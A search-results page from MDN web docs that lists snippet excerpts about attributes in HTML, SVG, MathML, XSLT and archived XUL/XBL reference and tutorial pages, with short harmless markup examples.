attribute has special meaning, as noted below. usage notes there are some not-entirely-obvious aspects to using the <dfn> element. we examine those here. specifying the term being defined the term being defined is identified following these rules: if the <dfn> element has a title
attribute, the value of the title
attribute is considered to be the term being defined. ...
...And 4 more matches
<keygen> - HTML: Hypertext Markup Language
ctive content, listed, labelable, submittable, resettable form-associated element, palpable content. permitted content none, it is an empty element. tag omission must have a start tag and must not have an end tag. permitted parents any element that accepts phrasing content. permitted aria roles none dom interface htmlkeygenelement
attributes this element includes the global
attributes. autofocus this boolean
attribute lets you specify that the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. only one form element in a document can have the autofocus
attribute, which is a boolean. challenge a challenge string that is submitted along with the public...
...ttribute lets you specify that the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. only one form element in a document can have the autofocus
attribute, which is a boolean. challenge a challenge string that is submitted along with the public key. defaults to an empty string if not specified. disabled this boolean
attribute indicates that the form control is not available for interaction. form the form element that this element is associated with (its form owner). ...
... keytype the type of key generated. the default value is rsa. ...
...And 4 more matches
<picture>: The Picture element - HTML: Hypertext Markup Language
the html <picture> element contains zero or more <source> elements and one <img> element to offer alternative versions of an image for different display/device scenarios. the browser will consider each child <source> element and choose the best match among them. if no matches are found—or the browser doesn't support the <picture> element—the url of the <img> element's src
attribute is selected. the selected image is then presented in the space occupied by the <img> element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. to decide which url to load, the user agent examines each <source>'s srcset, media, and type a...
... it provides a fallback in case none of the offered <source> elements are able to provide a usable image. ...
...ments, followed by one <img> element, optionally intermixed with script-supporting elements. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that allows embedded content. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlpictureelement
attributes this element includes only global
attributes. usage notes you can use the object-position property to adjust the positioning of the image within the element's frame, and the object-fit property to control how the image is resized to fit within the frame. note: use these properties on the child <img> element, not the <picture> element. examples these examples demonstrate how different att...
...And 4 more matches
HTML elements reference - HTML: Hypertext Markup Language
this page lists all the html elements, which are created using tags. they are grouped by function to help you find what you have in mind easily. an alphabetical list of all elements is provided in the sidebar on every element's page as well as this one. for more information about the basics of html elements and
attributes, see the section on elements in the introduction to html article. main root element description <html> the html <html> element represents the root (top-level element) of an html document, so it is also referred to as the root element. all other elements must be descendants of this element. document metadata metadata contains information about the page. this includes information about styles, scripts and data to help software (search en...
...ments identify the purpose or structure of that content. element description <blockquote> the html <blockquote> element (or html block quotation element) indicates that the enclosed text is an extended quotation. usually, this is rendered visually by indentation (see notes for how to change it). a url for the source of the quotation may be given using the cite
attribute, while a text representation of the source can be given using the <cite> element. <dd> the html <dd> element provides the description, definition, or value for the preceding term (<dt>) in a description list (<dl>). <div> the html content division element (<div>) is the generic container for flow content. it has no effect on the content or layout until styled using css...
... html file. <ul> the html <ul> element represents an unordered list of items, typically rendered as a bulleted list. inline text semantics use the html inline text semantic to define the meaning, structure, or style of a word, line, or any arbitrary piece of text. element description <a> the html <a> element (or anchor element), with its href
attribute, creates a hyperlink to web pages, files, email addresses, locations in the same page, or anything else a url can address. <abbr> the html abbreviation element (<abbr>) represents an abbreviation or acronym; the optional title
attribute can provide an expansion or description for the abbreviation. <b> the html bring attention to element (<b>) is used to draw the reader...
...And 4 more matches
HTML reference - HTML: Hypertext Markup Language
link types in html, the following link types indicate the relationship between two documents, in which one links to the other using an <a>, <area>, or <link> element. ...
... link types in html, the following link types indicate the relationship between two documents, in which one links to the other using an <a>, <area>, or <link> element. ...
... link types in html, the following link types indicate the relationship between two documents, in which one links to the other using an <a>, <area>, or <link> element. ...
...And 4 more matches
MathML documentation index - MathML
1 mathml landing, mathml, reference, web, xml mathematical markup language (mathml) is a dialect of xml for describing mathematical notation and capturing both its structure and content. 2 authoring mathml beginner, mathml, mathml project this page explains how to write mathematics using the mathml language. just like html, mathml is described with tags and
attributes. html becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, wysiwyg editors and other content management systems to help writing web pages. 3 examples beginner, example, guide, mathml, needsbeginnerupdate below you'll find some examples you can look at to help you to understand ho...
...tent. 4 mathml: deriving the quadratic formula beginner, education, example, guide, html5, mathml, needsbeginnerupdate this page outlines the derivation of the quadratic formula. 5 proving the pythagorean theorem beginner, example, guide, html5 math, math education, mathml, needsbeginnerupdate we will now prove the pythagorean theorem: 6 mathml
attribute reference mathml, mathml reference this is an alphabetical list of mathml
attributes. more details for each
attribute are available on particular element pages. 7 values guide, mathml, mathml reference several mathml presentation elements have
attributes that accept length values used for size or spacing. mathml accepts different units and constants for specifying l...
...alid mathml instance must be wrapped in <math> tags. in addition you must not nest a second <math> element in another, but you can have an arbitrary number of other child elements in it. 12 <menclose> mathml, mathml reference, mathml:element, mathml:general layout schemata the mathml <menclose> element renders its content inside an enclosing notation specified by the notation
attribute. 13 <merror> mathml, mathml reference, mathml:element, mathml:general layout schemata the mathml <merror> element is used to display contents as error messages. in firefox this error message is rendered similar to the typical xml error message. note that this error is not thrown when your mathml markup is wrong or not well-formed xml. you will still get an xml parsing error (...
...And 4 more matches
dur - SVG: Scalable Vector Graphics
the dur
attribute indicates the simple duration of an animation. ...
... the dur
attribute indicates the simple duration of an animation. ...
... the dur
attribute indicates the simple duration of an animation. ...
...And 4 more matches
kernelUnitLength - SVG: Scalable Vector Graphics
the kernelunitlength
attribute has two meanings based on the context it's used in. for lighting filter primitives, it indicates the intended distance for the x and y coordinates, for <feconvolvematrix>, it indicates the intended distance between successive columns and rows in the kernel matrix. three elements are using this
attribute: <feconvolvematrix>, <fediffuselighting>, and <fespecularlighting> feconvolvematrix for the <feconvolvematrix>, kernelunitlength indicates the intended distance in current filter units (i.e., units as determined by the value of primitiveunits
attribute) between successive columns and rows, respectively, in the kernelmatrix. by specifying value(s) for kernelunitlength, the kernel becomes defined in a scalable, abstract coordinate system. ...
...pecularlighting> feconvolvematrix for the <feconvolvematrix>, kernelunitlength indicates the intended distance in current filter units (i.e., units as determined by the value of primitiveunits
attribute) between successive columns and rows, respectively, in the kernelmatrix. by specifying value(s) for kernelunitlength, the kernel becomes defined in a scalable, abstract coordinate system. if the
attribute is not specified, the default value is one pixel in the offscreen bitmap, which is a pixel-based coordinate system, and thus potentially not scalable. if a negative or zero value is specified the default value will be used instead. value <number-optional-number> default value pixel in offscreen bitmap animatable yes <number-optional-number> the firs...
... value pixel in offscreen bitmap animatable yes <number-optional-number> the first number is the x value. the second number is the y value. if the x value is not specified, it defaults to the same value as x. ...
...And 4 more matches
refX - SVG: Scalable Vector Graphics
percentage values are interpreted as being a percentage of the viewbox width. ...
... percentage values are interpreted as being a percentage of the viewbox width. ...
...he marker’s reference point, which is to be placed exactly at the marker’s position on the shape. value <length-percentage> | <number> | left | center | right default value 0 animatable yes <length-percentage> lengths are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and preserveaspectratio
attributes. percentage values are interpreted as being a percentage of the viewbox width. <number> numbers are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and preserveaspectratio
attributes. left the reference point of the marker is placed at the left edge of the shape. center the reference point of the marker is placed at the horizontal c...
...And 4 more matches
refY - SVG: Scalable Vector Graphics
percentage values are interpreted as being a percentage of the viewbox height. ...
... percentage values are interpreted as being a percentage of the viewbox height. ...
...he marker’s reference point, which is to be placed exactly at the marker’s position on the shape. value <length-percentage> | <number> | top | center | bottom default value 0 animatable yes <length-percentage> lengths are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and preserveaspectratio
attributes. percentage values are interpreted as being a percentage of the viewbox height. <number> numbers are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and preserveaspectratio
attributes. top the reference point of the marker is placed at the top edge of the shape. center the reference point of the marker is placed at the vertical cent...
...And 4 more matches
<animateMotion> - SVG: Scalable Vector Graphics
the svg <animatemotion> element let define how an element moves along a motion path. note: to reuse an existing path, it will be necessary to use an <mpath> element inside the <animatemotion> element instead of the path
attribute. ...
...e" stroke="lightgrey" d="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> <circle r="5" fill="red"> <animatemotion dur="10s" repeatcount="indefinite" path="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> </circle> </svg> usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements<mpath>
attributes keypoints this
attribute indicate, in the range [0,1], how far is the object along the path for each keytimes associated values. value type: <number>*; default value: none; animatable: no path this
attribute defines the path of the motion, using the same syntax as the d
attribute. value type: <string>; default value: none; animatable: no rotate this
attribute defines a rotation applied...
...e motion, using the same syntax as the d
attribute. value type: <string>; default value: none; animatable: no rotate this
attribute defines a rotation applied to the elment animated along a path, usually to make it pointing in the direction of the animation. ...
...And 4 more matches
<feDropShadow> - SVG: Scalable Vector Graphics
the svg <fedropshadow> filter primitive creates a drop shadow of the input image. it can only be used inside a <filter> element. the drop shadow color and opacity can be changed by using the flood-color and flood-opacity presentation
attributes. html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <defs> <filter id="shadow"> <fedropshadow dx="0.2" dy="0.4" stddeviation="0.2"/> </filter> <filter id="shadow2"> <fedropshadow dx="0" dy="0" stddeviation="0.5" flood-color="cyan"/> </filter> <filter id="shadow3"> <fedropshadow dx="-0.8" dy="-0.8" stddeviation="0" flood-color="pink" flood-opacity="0.5"/> </filter> </defs> <circle cx="5" cy="50%" r="4" style="fill:pink; filter:url(#shadow)...
... value type: <number>; default value: 2; animatable: yes...
...ow dx="-0.8" dy="-0.8" stddeviation="0" flood-color="pink" flood-opacity="0.5"/> </filter> </defs> <circle cx="5" cy="50%" r="4" style="fill:pink; filter:url(#shadow);"/> <circle cx="15" cy="50%" r="4" style="fill:pink; filter:url(#shadow2);"/> <circle cx="25" cy="50%" r="4" style="fill:pink; filter:url(#shadow3);"/> </svg>
attributes dx this
attribute defines the x offset of the drop shadow. value type: <number>; default value: 2; animatable: yes dy this
attribute defines the y offset of the drop shadow. value type: <number>; default value: 2; animatable: yes stddeviation this
attribute defines the standard deviation for the blur operation in the drop shadow. value type: <number>; default value: 2; animatable: yes global
attributes ...
...And 4 more matches
<feMerge> - SVG: Scalable Vector Graphics
the <femerge> svg element allows filter effects to be applied concurrently instead of sequentially. this is achieved by other filters storing their output via the result
attribute and then accessing it in a <femergenode> child. usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<femergenode> example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <filter id="feoffset" x="-40" y="-20" width="100" height="200"> <feoffset in="sourcegraphic" dx="60" dy="60" /> <fegaussianblur stddeviation="5" result="blur2" /> <femerge> <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; ...
... specifications specification status comment filter effects module level 1the definition of '<femerge>' in that specification. working draft no change ...
... specifications specification status comment filter effects module level 1the definition of '<femerge>' in that specification. working draft no change scalable vector...
...And 4 more matches
<mask> - SVG: Scalable Vector Graphics
="white" /> <!-- everything under a black pixel will be invisible --> <path d="m10,35 a20,20,0,0,1,50,35 a20,20,0,0,1,90,35 q90,65,50,95 q10,65,10,35 z" fill="black" /> </mask> <polygon points="-10,110 110,110 110,-10" fill="orange" /> <!-- with this mask applied, we "punch" a heart shape hole into the circle --> <circle cx="50" cy="50" r="50" mask="url(#mymask)" /> </svg>
attributes height this
attribute defines the height of the masking area. value type: <length> ; default value: 120%; animatable: yes maskcontentunits this
attribute defines the coordinate system for the contents of the <mask>. value type: userspaceonuse|objectboundingbox ; default value: userspaceonuse; animatable: yes maskunits this
attribute defines defines the coordinate system for
attributes ...
...s this
attribute defines the coordinate system for the contents of the <mask>. value type: userspaceonuse|objectboundingbox ; default value: userspaceonuse; animatable: yes maskunits this
attribute defines defines the coordinate system for
attributes x, y, width and height on the <mask>. value type: userspaceonuse|objectboundingbox ; default value: objectboundingbox; animatable: yes x this
attribute defines the x-axis coordinate of the top-left corner of the masking area. value type: <coordinate> ; default value: -10%; animatable: yes y this
attribute defines the y-axis coordinate of the top-left corner of the masking area. value type: <coordinate> ; default value: -10%; animatable: yes width this
attribute defines the width of the masking area. value type: <length> ; default value: 1...
... of the top-left corner of the masking area. value type: <coordinate> ; default value: -10%; animatable: yes y this
attribute defines the y-axis coordinate of the top-left corner of the masking area. value type: <coordinate> ; default value: -10%; animatable: yes width this
attribute defines the width of the masking area. ...
...And 4 more matches
<stop> - SVG: Scalable Vector Graphics
10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg>
attributes offset this
attribute defines where the gradient stop is placed along the gradient vector. value type: <number>|<percentage>; default value: 0; animatable: yes stop-color this
attribute defines the color of the gradient stop. it can be used as a css property. value type: currentcolor|<color>|<icccolor>; default value: black; animatable: yes stop-opacity this
attribute defines the opaci...
...tage>; default value: 0; animatable: yes stop-color this
attribute defines the color of the gradient stop. it can be used as a css property. value type: currentcolor|<color>|<icccolor>; default value: black; animatable: yes stop-opacity this
attribute defines the opacity of the gradient stop. it can be used as a css property. ...
...e: 0; animatable: yes stop-color this
attribute defines the color of the gradient stop. it can be used as a css property. value type: currentcolor|<color>|<icccolor>; default value: black; animatable: yes stop-opacity this
attribute defines the opacity of the gradient stop. it can be used as a css property. ...
...And 4 more matches
<xsl:stylesheet> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:stylesheet> element (or the equivalent <xsl:transform> element) is the outermost element of a stylesheet. namespace declaration a pseudo-
attribute required to identify the document as an xslt stylesheet. typically this is xmlns:xsl="http://www.w3.org/1999/xsl/transform". ...
...the list is whitespace separated. ...
... typically this is xmlns:xsl="http://www.w3.org/1999/xsl/transform". syntax <xsl:stylesheet version="number" xmlns:xsl="http://www.w3.org/1999/xsl/transform" id="name" extension-element-prefixes="list-of-names" exclude-result-prefixes="list-of-names"> entire stylesheet </xsl:stylesheet> required
attributes version specifies the version of xslt required by this stylesheet. ...
...And 4 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
e to force the processor to use a template rule from the (lower precedence) imported stylesheet rather than an equivalent rule in the main stylesheet. 21 <xsl:apply-templates> element, reference, xslt, apply-templates the <xsl:apply-templates> element selects a set of nodes in the input tree and instructs the processor to apply the proper templates to them. ...
...le from the (lower precedence) imported stylesheet rather than an equivalent rule in the main stylesheet. 21 <xsl:apply-templates> element, reference, xslt, apply-templates the <xsl:apply-templates> element selects a set of nodes in the input tree and instructs the processor to apply the proper templates to them. 22 <xsl:
attribute-set> element, reference, xslt,
attribute-set the <xsl:
attribute-set> element creates a named set of
attributes, which can then be applied as whole to the output document, in a manner similar to named styles in css. 23 <xsl:
attribute>
attribute, element, reference, xslt the <xsl:
attribute> element creates an
attribute in the output document, using any values that can be accessed from the stylesheet. the element...
...but it may be after or inside elements that won't be part of the output (like <xsl:choose> or <xsl:apply-templates> etc.). 24 <xsl:call-template> element, reference, xslt, call-template the <xsl:call-template> element invokes a named template. ...
...And 4 more matches
Dialogs and Prompts - Archive of obsolete content
element in the xul file. this will: handle a few keyboard events (enter/esc and more), which is good for keyboard accessibility. add ok and cancel buttons in an order that is consistent with os default (but the button set and layout is highly customizable, see below). simple dialog code the following xul code defines a simple dialog with two buttons, ok and cancel (buttons="accept,cancel"
attribute on dialog). <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="..." title="..." buttons="accept,cancel" ondialogaccept="return onaccept();" ondialogcancel="return oncancel();"> <script src="chrome://..."/> <!-- content --> </dialog> you need to implement onaccep...
...d="..." title="..." buttons="accept,cancel" ondialogaccept="return onaccept();" ondialogcancel="return oncancel();"> <script src="chrome://..."/> <!-- content --> </dialog> you need to implement onaccept and oncancel functions in your script. if they return anything but false, the dialog will be closed. buttons in <dialog> predefined there are six button types you can use in the buttons
attribute of dialog. they are: accept — ok button. cancel — cancel button. disclosure — more info button. help — help button (doesn't work in thunderbird 1.0 bug 256915) extra1, extra2 — two buttons without any predefined labels or meaning. extra2 is positioned at the left side of the dialog (by default). for each of these buttons you can set their label, accesskey and oncommand handler ...
......
...And 3 more matches
Using Dehydra - Archive of obsolete content
*/ function isfinal(c) { if (!c.att...
...-fplugin-arg-gcc_dehydra-script= rather than -fplugin-arg it should print the following results: type found: foo location: test.cc:2:12 type found: myint location: test.cc:1:13 hello, world! see documentation for: process_type, input_end, print, .loc property example: using
attributes to mark a class as "final" save the following code as final.cc: // this class should not be subclassed! ...
...d, print, .loc property example: using
attributes to mark a class as "final" save the following code as final.cc: // this class should not be subclassed! ...
...And 3 more matches
Monitoring downloads - Archive of obsolete content
var loglist = document.getelementbyid("loglist"); var statement = dbconn.createstatement("select * from items"); // get all items in table try { while (statement.executestep()) { var row = document.createelement('listitem'); // add the cells to the row var cell = document.createelement('listcell'); var sourcestr = statement.getstring(0); row.set
attribute("tooltiptext", sourcestr); sourcestr = sourcestr.slice(sourcestr.lastindexof("/")+1); cell.set
attribute("label", sourcestr); // source row.appendchild(cell); cell = document.createelement('listcell'); cell.set
attribute("label", (statement.getint64(1) / 1024).tofixed(1) + "kb"); // size cell.set
attribute("style", "text-align:right"); row.appen...
...ateelement('listcell'); cell.set
attribute("label", (statement.getint64(1) / 1024).tofixed(1) + "kb"); // size cell.set
attribute("style", "text-align:right"); row.appendchild(cell); var thedate = new date(statement.getint64(2) / 1000); // start time cell = document.createelement('listcell'); var datestr = thedate.tolocalestring(); cell.set
attribute("label", datestr); row.appendchild(cell); thedate = new date(statement.getint64(3)); // end time cell = document.createelement('listcell'); datestr = thedate.tolocalestring(); cell.set
attribute("label", datestr); row.appendchild(cell); var speed = statement.getdouble(4) / 1024.0; cell = document.createelement('listcell'); ...
... datestr); row.appendchild(cell); thedate = new date(statement.getint64(3)); // end time cell = document.createelement('listcell'); datestr = thedate.tolocalestring(); cell.set
attribute("label", datestr); row.appendchild(cell); var speed = statement.getdouble(4) / 1024.0; cell = document.createelement('listcell'); cell.set
attribute("label", speed.tofixed(1) + "kb/sec"); cell.set
attribute("style", "text-align:right"); row.appendchild(cell); var status = statement.getint32(5); var style = "color:black"; cell = document.createelement('listcell'); var statusstr; switch(status) { case 0: statusstr = "downloading"; break; case 1: ...
...And 3 more matches
Tooltips - Archive of obsolete content
all popup label containing text describing the button's function. when the mouse is moved again, the tooltip disappears. this is a useful means of providing additional details about a user interface without cluttering up the main interface. note that tooltips can only be activated using the mouse, so they should never contain important information that isn't available elsewhere. the tooltiptext
attribute in most cases, the tooltip will display only a single label. for this, the tooltiptext
attribute may be used, which is valid for all xul elements. the value of this
attribute should be the text to appear in the tooltip. <toolbarbutton label="back" tooltiptext="go back one page"/> in this example, a back button on a toolbar is given additional text to appear on a tooltip. this could also be us...
...d, which is valid for all xul elements. the value of this
attribute should be the text to appear in the tooltip. <toolbarbutton label="back" tooltiptext="go back one page"/> in this example, a back button on a toolbar is given additional text to appear on a tooltip. this could also be useful if the toolbar is configured such that labels do not appear. if an element does not have a tooltiptext
attribute, yet a parent element does, the parent tooltip will apply. for example, in the following, a toolbar has a tooltip set for it. <toolbar tooltiptext="file buttons"> <toolbarbutton label="open" tooltiptext="open a file"/> <toolbarbutton label="close"/> </toolbar> the 'open' button has a tooltiptext
attribute so will have a tooltip of its own. however, the close button does not have a tooltip ...
...as well as when the mouse is over an empty part of the toolbar. note that the tooltip text 'file buttons' isn't a good tooltip to use either. it conveys no additional information to the user, so it shouldn't be used as in this example. the tooltip element tooltips are displayed using a tooltip element, which is a type of popup, but is styled to look different. elements that use the tooltiptext
attribute display the tooltip in a default tooltip element, which typically looks like a small yellow box large enough to fit the text inside it. this default tooltip is created automatically, so you don't normally need to use a tooltip element. however, it is possible to use another tooltip element that looks differently, or which supports other elements besides a single text label. the tooltip can be c...
...And 3 more matches
Additional Navigation - Archive of obsolete content
using a literal as the object of a triple is a common way to filter out specific items. ...
... type, the data could be filtered to include only items of a particular type. here is an example triple that we could use in the photos example: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> this new triple has a static value for the object
attribute instead of a variable reference. you might be able to guess that it will cause a match for only one of the photos, the canal photo. the others won't be able to match when evaluating the triple. to look closer, here is the data network after only the member has been evaluated: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg) (?start ...
...s/t/canal.jpg) here is the example. naturally, we will need to add a binding for the ?title variable if we wish to display it, or we could just hardcode it since we know the value will be 'canal'. usually you won't be filtering on a title though--you would instead filter on a value that acts like a type. there has to be at least one variable used in a triple in either the subject or the object
attributes, or both. you can't have a triple with no variables. that's not an issue though, since it wouldn't be particularly useful. also, you cannot use a variable in the predicate. only the subject and object
attributes may have variables. another thing that you cannot have is a triple where both variables would be unknown as in the following: <query> <content uri="?start"/> <member container="?sta...
...And 3 more matches
Building Menus With Templates - Archive of obsolete content
mplate in the same manner as other elements. however, unlike with other elements, the content of a menu is only generated once the menu has been opened. this means that a menu created with a template will not have any of the generated items until the user opens the menu, or a script opens the menu. this applies to menus on menubars, submenus, as well as menu-type buttons such as those with a type
attribute set to menu. this allows for better performance as the entire content of a complex menu does not need to be created until the user needs to use the menu. it is very simple to create a menu using a template. here is an example using an xml source: <button type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <action> <menupopup> <me...
...this causes the menupopup to only be created once. the menuitem elements however will ...
... <menupopup> <menuitem uri="?" label="?name"/> </menupopup> </action> </template> </button> <button label="children" oncommand="alert(this.previoussibling.childnodes.length);"/> in this example, the datasources
attribute has been placed on a menu-type button. the query generates a list of the person tags within the datasource and outputs the action body for each one. the uri
attribute has not been placed on the menupopup element which is the direct child of the action element but has instead been placed on the menuitem element. this causes the menupopup to only be created once. the menuitem elements however will be repeated for each result from the query. this makes sense, as we only want one menupopup to be created but multiple menuitem elements. the second button in the exam...
...And 3 more matches
Containment Properties - Archive of obsolete content
« previousnext » so far, we've seen how the simple query syntax can generate results from the children of an rdf container. however, the simple query syntax may also iterate over a single predicate pointing out of a resource, rather than use the children. this allows you to iterate over a non-container. to do this, use the containment
attribute on the root node, set to the predicate to iterate over. let's look back at the very first example again. it doesn't have any containers, but we may want to iterate over the relateditem predicate using the simple query syntax. we can add the containment
attribute to do this. <vbox datasources="template-guide-ex1.rdf" ref="http://www.xulplanet.com/rdf/a" containment="http://www.xulplanet.com/rdf/relateditem"> <template> ...
...if the starting node (or ref) has that predicate as one of its triples in the rdf data, the builder will use it in addition to checking if it is a container. ...
...ontainment="http://www.xulplanet.com/rdf/relateditem"> <template> <rule> <label uri="rdf:*" value="rdf:*"/> </rule> </template> </vbox> instead of iterating over a container, this example iterates over a specific predicate. this
attribute is useful when the rdf data is structured in such a way that an rdf container isn't used. the builder treats the predicate in the containment
attribute as an indicator that an element is a container. if the starting node (or ref) has that predicate as one of its triples in the rdf data, the builder will use it in addition to checking if it is a container. note the distinction here. the containment
attribute doesn't replace the existing container checking. if the resource 'http://www.xulplanet.com/rdf/a' was also an rdf seq with some children, th...
...And 3 more matches
Introduction - Archive of obsolete content
next » a xul template is a means of producing a block of content for each result from some query or query-like operation. a good analogy is to the results of a database query. for each result returned from the query, generate some content. the template syntax allows for different rules to generate different content based on particular criteria as well as set
attribute values from returned results. ...
...returned results. some other systems call this databinding. effectively, xul templates are the xul way of doing databinding. each template retrieves its data from a datasource. several types of datasources are supported by default, rdf, xml and sqlite databases, however, processors may be written to support other types of datasources. in xul, the datasource is specified by placing the datasources
attribute on an element. typically, the value will be a uri that identifies the location of the data. for example, for an xml datasource, the url of an xml file is specified. when the xul parser sees an element with this
attribute, it constructs a template builder for the element and attaches it to the element. it is expected that there will be a template inside the element. the template builder loads the ...
...the type affects how the datasource is used as well as the syntax for specifying queries. content generated by the template is inserted into the xul just as if you had placed it there yourself. ...
...And 3 more matches
Multiple Rules - Archive of obsolete content
ust be used to use conditions within rules. the first rule contains a new element, where which is used to define a condition. the second rule does not contain a where element, so it matches results unconditionally, or any result that wasn't matched by a previous rule. in this example, the where element in the first rule defines a condition which matches results that have a title of 'canal'. three
attributes are used for this purpose. the subject is the variable from the result that want to compare. in this case, '?title' is used to compare the title. the rel specifies a relation operator to compare with. here 'equals' is the operator used so an exact match is needed. the value
attribute is the value to compare to, which here is 'canal'. as the datasource has three photos, one of which has a title o...
...ames (joan of arc for instance), but rule conditions allow a number of useful ways to filter results. <rule> <where subject="?name" rel="contains" value=" "/> <where subject="?letters" rel="less" value="15"/> <action> <label uri="?" value="?name has two names for a total length of ?letters"/> </action> </rule> negating a condition you can reverse a where clause by using the negate
attribute. by setting the negate
attribute to true, the condition matches only those that don't match the condition, reversing the results that match. for example, these two conditions have the opposite effect. the first matches only results with a ?title of 'canal', and the second matches those that do not. <where subject="?title" rel="equals" value="canal"/> <where subject="?title" rel="equals" value="c...
... condition matches only those that don't match the condition, reversing the results that match. for example, these two conditions have the opposite effect. the first matches only results with a ?title of 'canal', and the second matches those that do not. ...
...And 3 more matches
Template Builder Interface - Archive of obsolete content
otherwise, a content builder will be created. both types of builder share much of the same code except for how they generate output to be displayed. both types of builders implement the nsixultemplatebuilder interface, while the tree builder also implements the nsixultreebuilder interface. ...
... be unusual results when using html. sometimes this is due to different whitespace handling for html and xul, which is why the content to generate in the above example is all on one line. if you do plan on generating non-xul content with a template, just watch out for issues like this. note that this particular whitespace issue has been fixed in firefox 3 and later. note also that the datasources
attribute has been placed on an html element. this is also allowed. however, one thing to watch out for is that non-xul elements do not have their content generated lazily so all of the content will be generated at once. be careful that your templates do not recurse to deep levels. the builder property is a property of the nsidomxulelement interface, so all xul elements will have this property, although, a...
...ll see in a later section why this is not usually necessary. to summarize, the refresh method reloads the data, whereas the rebuild method reconstructs the content. the builder is accessible to unprivileged code, so the rebuild and refresh methods may be called by remote code. changing the datasource you can modify the datasource that is used for a template by setting the value of the datasources
attribute on the root element. changing this
attribute causes the new datasource to be retrieved and the template to be rebuilt. the rdf datasource associated with the template can be retrieved using the element's 'database' property. it implements the nsirdfcompositedatasource interface. since this is a composite datasource, it may contain more than one datasource. these may be listed in the datasources a...
...And 3 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
change the text between double-quote characters on those three lines. optionally remove the sections for toolbars where you do not want your button. save the file. explanation: this file contains details of your extension, and specifies how it modifies seamonkey. 6. create a plain text file named button.xul. copy the following content, making sure that you scroll to get all of...
...change the text between double-quote characters on those lines. optionally remove the sections for toolbars that you do not need. save the file. explanation: this xul file adds the button to the toolbars. it also links to the stylesheet and javascript code that the button uses. the last section specifies details of the button. 7. create a plain text file named button.css. copy...
...or a selection of code samples that you can copy and paste, and customize without any knowledge of programming, see this page: code samples your changes take effect when you restart the application. adding more buttons to add another button, edit button.xul. for each toolbar, duplicate the line that specifies custom-button-1, change the new line to specify custom-button-2, and change its position
attribute to position the new button in the toolbar. duplicate the last section. in the id and oncommand
attributes, change 1 to 2. change the label, accesskey and tooltiptext
attributes to whatever you want. do not change the class
attribute. now edit button.css. duplicate the first two lines, changing the new lines to specify button-2. edit button.js and add javascript code for the new button. be sure to...
...And 3 more matches
Tree Widget Changes - Archive of obsolete content
that means that the ids can be left out, although it's probably a good idea to use them anyway. instead of identifying columns by id, a new column object is used. this object implements the nsitreecolumn interface and holds information about a single column in the tree. a tree will have one of these objects for each column (each treecol element) in the tree. the columns are grouped into a list which implements the nsitreecolumns interface. ...
...ted automatically, so you don't have to write any extra code. you can get the columns object which implements the nsitreecolumns interface for a tree using the tree's columns property. from there you can get specific columns, the current sort column, and position and size info about the columns. for the most part these objects are readonly; you can modify the columns by just adjusting the treecol
attributes directly. the tree and view methods no longer take ids as arguments when columns are used. instead, they use nsitreecolumns. for example, nsitreeview.getcellvalue() takes a row index and a nsitreecolumn as arguments, whereas before it took a row index and a column id. to get a column in javascript: tree.columns.getcolumnfor(treecolelement); tree.columns.getnamedcolumn(treecolid); tree.columns...
...umn id. to get a column in javascript: tree.columns.getcolumnfor(treecolelement); tree.columns.getnamedcolumn(treecolid); tree.columns.getcolumnat(index); you can also just use array syntax to get a column: tree.columns["lastname"]; tree.columns[5]; once you have a column, you can get various properties of it: column.index - the index of the column in displayed order column.id - the id
attribute of the column column.element - the treecol element column.x - the x position in the tree of the left edge of the column column.width - the width of the column in c++ code, you can also get the atom
attribute of nsitreecolumn which returns an nsiatom for the column, making it fast to do comparisons. nscomptr<nsiatom> atom; acol->getatom(getter_addrefs(atom)); if (atom = kmycol) ... one fea...
...And 3 more matches
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
does not match any of the handler events, it is simply passed to the inner content as usual. the general handler syntax is as follows: <binding id="binding-name"> <handlers> <handler event="event-name" action="script"/> </handlers> </binding> place all of your handlers within the handlers element. each handler element defines the action taken for a particular event specified by its event
attribute. valid event types are those supported by xul and javascript, such as click and focus. use the event name without the 'on' in front of it. a common reason to set handlers is to modify the custom properties when an event occurs. for example, a custom checkbox might have a checked property which needs to be changed when the user clicks the checkbox: <handlers> <handler event="mouseup" action="thi...
...the checked property to be reversed. similarly, you may wish to change a property when the element is focused. you might have a need to change whether an element can have the focus or not. for this, you can use a special style property -moz-user-focus. this property controls whether an element can be focused. (see focus and selection) handling mouse events for mouse events, you can use the button
attribute to have the handler only trap events that occur from a certain button. without this
